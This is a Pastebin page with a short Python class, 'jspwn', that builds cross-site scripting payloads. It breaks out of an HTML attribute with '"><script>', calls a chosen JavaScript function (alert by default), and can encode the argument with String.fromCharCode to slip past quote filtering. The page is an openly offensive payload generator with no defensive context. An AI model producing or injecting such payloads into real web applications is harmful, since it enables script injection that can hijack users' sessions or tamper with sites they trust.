Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import sys
- class jspwn():
- @staticmethod
- def stringToASCII(string):
- ret = ""
- for s in string:
- ret += str(ord(s)) + ','
- return ret[:-1]
- @staticmethod
- def quotesPayload(payload, quotes=True, command="alert"):
- if (quotes): return '"><script>' + command + '("' + str(payload) + '")</script>'
- else: return '"><script>' + command + '(String.fromCharCode(' + str(payload) + '))</script>'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement